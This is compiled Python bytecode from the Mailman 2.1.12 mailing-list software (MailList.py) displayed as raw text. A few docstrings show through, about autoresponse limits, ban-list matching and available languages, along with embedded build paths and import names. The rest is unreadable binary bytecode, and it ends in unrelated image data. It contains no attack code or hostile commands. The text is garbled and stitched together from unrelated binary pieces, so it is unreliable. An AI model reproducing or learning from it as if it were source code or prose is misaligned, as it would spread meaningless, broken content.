        mail loops with email 'bots.
        iiiRs,-request/hold autoresponse discarded for: %ss,-request/hold autoresponse limit hit for: %sisnomoretoday.txtRs%s@%sRftnumt
owneremailRs(Last autoresponse notification for todayN(R)RdRRRtMAX_AUTORESPONSES_PER_DAYRt	localtimeRR2RR	RRRPRVRRReR(	R5RRttodayRtdatetcountRR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytautorespondToSendersD



		
		
cCst}x|iD]}|idoEy(ti||tiot}PnWqtij
oqXq|i|ijot}PqqW|o|SdSdS(s\Returns matched entry in ban_list if email matches.
        Otherwise returns None.
        t^N(
RjRRR+RRRhR"R~R)(R5RtbanR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyRs 
			cCsc|i}ti|jo|iting}|D]$}tii|o||q8q8~S(N(RRRRtLC_DESCRIPTIONSthas_key(R5R2t_[1]R((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pytGetAvailableLanguagess	N(4RRR)R!RARFR3RIRBRCR-RRRTRVR[RYRiRjRkRsRyRR'RR R!R$R5RPRURfRhR4RkRmR1RRRRRRRRRRRRRR$RR*(((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyR Wsf&		
											
					(	(		/6	"		%*p	N			:	7|%	9	 	
1	(Ct__doc__tsysR*RRWR0R+RuR7R|R;t	cStringIORRRttypestemail.IteratorsRtemail.UtilsRRRtemail.HeaderRtMailmanRR	R
RtMailman.UserDescRtMailman.ArchiverR
tMailman.AutoresponderRtMailman.BouncerRtMailman.DelivererRtMailman.DigesterRtMailman.GatewayManagerRtMailman.HTMLFormatterRtMailman.ListAdminRtMailman.SecurityManagerRtMailman.TopicMgrRRRRtMailman.OldStyleMembershipsRRRRtMailman.Logging.SyslogRRetEMPTYSTRINGRhRjt	NameErrorR (((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/MailList.pyt<module>sd
	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`